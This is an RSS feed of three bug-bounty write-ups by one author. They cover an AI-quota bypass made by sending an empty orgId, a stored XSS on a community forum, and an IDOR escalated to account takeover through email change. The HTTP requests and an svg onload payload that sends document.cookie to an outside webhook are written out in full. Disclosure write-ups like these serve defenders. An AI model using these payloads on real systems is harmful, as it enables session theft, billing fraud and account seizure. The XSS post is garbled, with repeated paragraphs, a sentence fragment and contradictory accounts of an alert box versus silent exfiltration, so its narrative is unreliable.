<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ziad  Abdo on Medium]]></title>
        <description><![CDATA[Stories by Ziad  Abdo on Medium]]></description>
        <link>https://medium.com/@ziadabdo1255?source=rss-09e7e8318a71------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*T3glKRz98Id0euvs</url>
            <title>Stories by Ziad  Abdo on Medium</title>
            <link>https://medium.com/@ziadabdo1255?source=rss-09e7e8318a71------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:55:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ziadabdo1255/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bypassing AI Quotas: How a Null Value Led to Infinite AI Generation on RebelMouse]]></title>
            <link>https://medium.com/@ziadabdo1255/bypassing-ai-quotas-how-a-null-value-led-to-infinite-ai-generation-on-rebelmouse-ebc56c386328?source=rss-09e7e8318a71------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebc56c386328</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[business-logic-bug]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Ziad  Abdo]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 17:02:37 GMT</pubDate>
            <atom:updated>2026-09-24T17:02:37.362Z</atom:updated>
            <content:encoded><![CDATA[<h4>​A deep dive into a critical Business Logic vulnerability that bypassed billing checks and allowed unrestricted AI access.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVljvA-7_0O_ALwc-Opl3g.png" /></figure><p>In the era of AI-driven SaaS platforms, API tokens are money. Every time a user generates a prompt, the platform pays a downstream provider like OpenAI or Anthropic. To protect their resources, companies implement strict billing and quota systems. But what happens when that billing system trusts the user a little too much?<br>​During a recent security assessment of RebelMouse, I discovered a critical Business Logic flaw in their AI generation feature. By simply manipulating a single parameter in the JSON payload, I was able to completely bypass their paywall, leading to infinite AI prompt generation at the company’s expense.<br>​Here is the technical breakdown of how a simple &quot;Fail-Open&quot; architecture allowed this bypass.<br>​🔍 The Core Concept: Fail-Open vs. Fail-Closed<br>​When designing authorization or billing checks, systems should ideally be Fail-Closed. This means if an unexpected input occurs (like a missing ID, a database error, or a malformed request), the system should block the action by default.<br>​However, in this case, the RebelMouse backend implemented a Fail-Open logic for its quota tracking. It relied on a client-supplied orgId to deduct credits. If the system couldn’t parse the orgId, instead of dropping the request, it simply skipped the billing deduction and processed the AI prompt anyway.<br>​🛠️ Proof of Concept (PoC)<br>​1. Hitting the Paywall<br>​To understand the limitation, I first used the AI generation feature until my account exhausted its daily credits. At this point, attempting to generate a new prompt resulted in the expected 402 Payment Required block:<br>​Server Response:</p><p>HTTP/2 402 Payment Required<br>Content-Type: application/json</p><p>{<br> &quot;error&quot;: &quot;Daily credit limit reached&quot;,<br> &quot;dailyRemaining&quot;: -208<br>}</p><p>2. Intercepting the Request<br>​I fired up Burp Suite and captured the POST request responsible for the AI generation. The vulnerable endpoint was:<br>/dashboard/api/properties/[PROPERTY_ID]/pages/codex/runs<br>​The original request body looked like this:</p><p>{<br> &quot;prompt&quot;: &quot;hi&quot;,<br> &quot;siteId&quot;: &quot;pages-[ID].rebelmouse.ai&quot;,<br> &quot;projectName&quot;: &quot;[PROJECT_NAME]&quot;,<br> &quot;conversationId&quot;: &quot;[CONVERSATION_ID]&quot;,<br> &quot;orgId&quot;: &quot;12345-VALID-ORG-ID&quot;,<br> &quot;personalityId&quot;: &quot;[PERSONALITY_ID]&quot;<br>}</p><p>3. The Bypass (Null/Empty String Injection)<br>​Since the 402 error indicates that the backend is checking the quota based on my organization, I decided to tamper with the orgId parameter.<br>​I sent the request to Burp Repeater and modified the orgId value to an empty string (&quot;&quot;).<br>​Malicious Request:</p><p>POST /dashboard/api/properties/[PROPERTY_ID]/pages/codex/runs HTTP/2 <br>Host: rebelmouse.ai <br>Content-Type: application/json</p><p>{<br> &quot;prompt&quot;: &quot;hi&quot;,<br> &quot;siteId&quot;: &quot;pages-[ID].rebelmouse.ai&quot;,<br> &quot;projectName&quot;: &quot;[PROJECT_NAME]&quot;,<br> &quot;conversationId&quot;: &quot;[CONVERSATION_ID]&quot;,<br> &quot;orgId&quot;: &quot;&quot;,<br> &quot;personalityId&quot;: &quot;[PERSONALITY_ID]&quot;<br>}</p><p>4. The Result<br>​By sending the empty string, the backend’s billing middleware failed to map the request to a valid entity. Instead of safely failing, it forwarded the payload directly to the AI service. The server accepted the request and successfully processed the prompt!<br>​Server Response:</p><p>HTTP/2 200 OK<br>Content-Type: application/json</p><p>{<br> &quot;runId&quot;: &quot;5519&quot;,<br> &quot;conversationId&quot;: &quot;[CONVERSATION_ID]&quot;<br>}</p><p>At this point, an attacker could load this request into Burp Intruder or write a simple Python script to generate an infinite number of AI responses without spending any valid credits.<br>​💥 Business &amp; Security Impact<br>​Vulnerabilities like this are highly critical for SaaS platforms, as they translate directly into Financial Loss.<br>​Resource Exhaustion: An attacker can script thousands of API calls, consuming backend AI tokens entirely at the company’s expense.<br>​Paywall Evasion: Complete circumvention of the platform’s monetization model, allowing malicious actors to use premium services for free.<br>​🛡️ Remediation &amp; Takeaways for Developers<br>​This vulnerability is a classic example of CWE-602: Client-Side Enforcement of Server-Side Security.<br>​To prevent this, developers should ensure:<br>​Never Trust Client Data for Billing: Parameters like orgId should never be accepted from the client request body for authorization or billing.<br>​Backend Extraction: The backend must extract the organization ID securely from the authenticated user’s JWT or Session Token.<br>​Strict Fail-Closed Logic: If the billing engine encounters an invalid, missing, or empty ID, the API must immediately halt execution and return a 400 Bad Request or 403 Forbidden.<br>​📅 Vulnerability Timeline<br>​May 2026: Vulnerability discovered and reported to RebelMouse via Bugcrowd.<br>​Late May 2026: Triaged and moved to &quot;Waiting for customer&quot;.<br>​[Date]: Fixed by the RebelMouse team.<br>​[Date]: Bounty Awarded.<br>​(If you found this writeup helpful, feel free to leave a clap or follow for more bug bounty tips and logic flaws!)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebc56c386328" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Art of Persistence: Scaling Recon to a High-Severity Stored XSS on iFixit Community]]></title>
            <link>https://medium.com/@ziadabdo1255/the-art-of-persistence-scaling-recon-to-a-high-severity-stored-xss-on-ifixit-community-dbf1a822b4af?source=rss-09e7e8318a71------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbf1a822b4af</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ziad  Abdo]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 12:50:47 GMT</pubDate>
            <atom:updated>2026-09-12T12:50:47.021Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2itCZ_5rbGlJAOLLJHhhfQ.png" /></figure><p>We’ve all been there: staring blankly at Burp Suite while every single payload gets chewed up and spat out by rigid sanitization filters. That was exactly my reality while hunting on iFixit.<br>The main application was a fortified fortress. Inputs were encoded with surgical precision, WAF rules were tight, and standard XSS vectors died before they even reached the DOM. After hours of cycling through parameters, fuzzing endpoints, and watching payload after payload fail, mental fatigue started setting in. Frustration was creeping in fast, and I was seconds away from closing my laptop, calling it a night, and writing off iFixit as a total dead end.<br>Then came that familiar inner voice every bug hunter knows: “Just one last recon run. Just map the edge cases.”<br>I went back to raw subdomain discovery, pulling passive datasets and certificate logs to see if anything had slipped through the cracks. And there it was, sitting quietly among the list of modern endpoints: community.ifixit.com.<br>The moment I loaded that subdomain, I couldn’t help but chuckle. The UI looked so wildly out of place compared to the sleek main domain that I honestly couldn’t tell if I’d stumbled upon a forgotten digital artifact from 2005 or a random experimental build someone forgot to decommission. It practically radiated an aura of &quot;Please test me, no security engineer has looked at this in years.&quot; That vintage, out-of-place aesthetic was the green light I needed. Burnout instantly turned back into adrenaline.<br>I immediately registered an account and began mapping features that persisted user data. <strong>The Group Creation module</strong> immediately caught my eye—a place where dynamic text wasn’t just stored, but displayed publicly to anyone browsing the directory.<br>Instead of dropping a basic, noisy alert(1) that any basic filter might block or a user might notice, I went straight for a weaponized, silent out-of-band payload:</p><h4>&lt;svg onload=&quot;fetch(’https://&lt;MY_WEBHOOK_LISTENER&gt;/?c=’+document.cookie)&quot;&gt;</h4><p>I pasted it into the Group Name field and hit save. I checked the HTTP request in Burp Suite: 200 OK. The backend didn’t strip the dangerous &lt;svg&gt; tag, nor did it HTML-entity encode the event handler. It accepted the raw payload and saved it directly into the persistent database.<br>Now came the moment of truth. ​I injected my payload directly into the Group Name field and hit save. I checked the HTTP request in Burp Suite: 200 OK. The backend didn’t strip the tags, nor did it HTML-entity encode the input. It accepted the raw payload and saved it directly into the persistent database.<br>​Now came the moment of truth.<br>​​I injected my payload directly into the Group Name field and hit save. I checked the HTTP request in Burp Suite: 200 OK. The backend didn’t strip the tags, nor did it HTML-entity encode the input. It accepted the raw payload and saved it directly into the persistent database.<br>​Now came the moment of truth.<br>​I navigated back to the group directory and clicked on the newly created group page to open its details. The moment the page loaded, BOOM! An alert box popped up right on the screen, popping up my active document.cookie values.<br>​The application was fetching the stored group name from the database and echoing it raw straight into the DOM context. The browser parsed the payload, executed the script natively within the community.ifixit.com origin context, and triggered the alert instantly upon page load—all with zero extra interaction required. Any user or administrator simply viewing that public group profile would instantly trigger the payload, exposing their active session data.<br>​What started as a frustrating session on the verge of total burnout turned into a confirmed High-severity finding, all thanks to one rule every bug hunter should live by: When the front door is locked tight, look for the vintage side door that everyone forgot existed.<br>​What started as a frustrating session on the verge of total burnout turned into a confirmed High-severity finding, all thanks to one rule every bug hunter should live by: When the front door is locked tight, look for the vintage side door that everyone forgot existed. GET request arrived, carrying the full document.cookie string—including the sensitive XSRF-TOKEN and session identifiers.<br>The application was fetching the stored group name from the database and echoing it raw into the DOM context. The victim’s browser rendered the unescaped &lt;svg&gt; tag, executed the onload event handler natively within the community.ifixit.com origin context, and silently dispatched the session metadata straight to my server—all with zero user interaction required. Any user or administrator simply viewing that public group profile was instantly, silently compromised.<br>What started as a frustrating session on the verge of total burnout turned into a High-severity finding, all thanks to one rule every bug hunter should live by: When the front door is locked tight, look for the vintage side door that everyone forgot existed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbf1a822b4af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Writeup] Chaining IDOR to Full Account Takeover (ATO) via Email Manipulation in a Passwordless…]]></title>
            <link>https://medium.com/@ziadabdo1255/writeup-chaining-idor-to-full-account-takeover-ato-via-email-manipulation-in-a-passwordless-9941ded6b796?source=rss-09e7e8318a71------2</link>
            <guid isPermaLink="false">https://medium.com/p/9941ded6b796</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Ziad  Abdo]]></dc:creator>
            <pubDate>Thu, 14 May 2026 15:08:54 GMT</pubDate>
            <atom:updated>2026-09-11T22:49:10.815Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Writeup] Chaining IDOR to Full Account Takeover (ATO) via Email Manipulation in a Passwordless System</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EoexXL7-Ti5eQJcETn6utg.jpeg" /></figure><h3>1. Introduction</h3><p>In the world of Bug Bounty, sometimes a simple IDOR (Insecure Direct Object Reference) can be escalated into a critical vulnerability if you understand the underlying authentication logic. In this writeup, I will share how I escalated a basic profile modification IDOR into a <strong>Full Account Takeover (ATO)</strong> on a target running the openstad-headless API, exploiting their Passwordless (Magic Link) authentication mechanism.</p><h3>2. Reconnaissance &amp; Initial Discovery</h3><p>During my reconnaissance phase on the target (api.denkmee.d66.nl), I started analyzing the API endpoints responsible for user profile management. I created two test accounts (User A and User B) to test for access control issues.</p><p>While testing the endpoint used for fetching user data, I discovered a cross-project enumeration IDOR: GET /api/project/15/user/{userId}</p><p>By iterating the userId, I was able to leak details of other users, including administrative accounts (e.g., retrieving roles and display names). This gave me valid target IDs to proceed to the next phase.</p><h3>3. The Escalation: From Read to Write</h3><p>Reading data is good, but modifying it is where the real impact lies. I intercepted the request responsible for updating the user profile: PUT /api/project/15/user/{userId}</p><p>I realized that the backend was trusting the userId supplied in the URL path instead of validating it against the authenticated JWT token in the Authorization header.</p><p><strong>The Malicious Request:</strong> I logged in as Attacker (ID: 693) and targeted the Victim (ID: 696).</p><p>HTTP</p><pre>PUT /api/project/15/user/696 HTTP/2<br>Host: api.denkmee.d66.nl<br>Authorization: Bearer [Attacker_JWT]<br>Content-Type: application/json</pre><pre>{<br>  &quot;name&quot;: &quot;Hacked&quot;,<br>  &quot;address&quot;: &quot;Attacker Address&quot;<br>}</pre><p>The server responded with 200 OK, and the victim&#39;s profile was successfully updated. But I didn&#39;t stop there.</p><h3>4. The Kill Move: Full Account Takeover (ATO)</h3><p>I noticed the platform uses a <strong>Passwordless Authentication</strong> system (Magic Links sent via email). This meant that if I could change the victim’s email address, I would own the account.</p><p>I sent another PUT request, this time modifying the email field:</p><p>HTTP</p><pre>PUT /api/project/15/user/696 HTTP/2<br>Host: api.denkmee.d66.nl<br>Authorization: Bearer [Attacker_JWT]<br>Content-Type: application/json</pre><pre>{<br>  &quot;email&quot;: &quot;attacker-controlled@gmail.com&quot;<br>}</pre><p>The server accepted the change. The victim’s email was now overwritten.</p><h3>5. Proving the Impact: The “Identity Detachment” Logic</h3><p>To prove the ATO was complete and irrefutable, I performed the following logical test:</p><ul><li><strong>Session Hijacking:</strong> I went to the login page and entered the new email (attacker-controlled@gmail.com). The system sent a Magic Link to my inbox. Upon clicking it, I was fully authenticated as the Victim (User ID 696).</li><li><strong>The Ghost Account:</strong> To see what happened to the victim’s original email, I tried logging in with it. Because the database had detached that email from ID 696, the system treated the victim as a completely new user and generated a new ID (ID 699).</li></ul><p>This proved that the original account, along with all its privileges and data, was permanently seized.</p><h3>6. Vendor Response</h3><p>I immediately reported this critical chain to the organization. They responded rapidly, confirming the vulnerability. However, they stated:</p><blockquote>“It was a test setup that we forgot about. It has been turned off.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDjecFRSWsgmX4cAejhvJw.png" /></figure><p>While it was a forgotten test environment, it was publicly accessible on a production sub-domain and contained functional logic that could have been catastrophic if deployed to their main user base. The endpoint was swiftly taken offline.</p><h3>7. Key Takeaways for Bug Hunters</h3><ul><li><strong>Never stop at the first finding:</strong> An IDOR that changes a name is a Medium severity. An IDOR that changes an email in a passwordless system is Critical.</li><li><strong>Understand the Auth Logic:</strong> Magic Links rely entirely on email ownership. Controlling the email means controlling the session.</li><li><strong>Test assumptions:</strong> Just because the UI says a field like “Email” is “Not customizable,” it doesn’t mean the API enforces that rule. Always test it via your proxy.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9941ded6b796" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>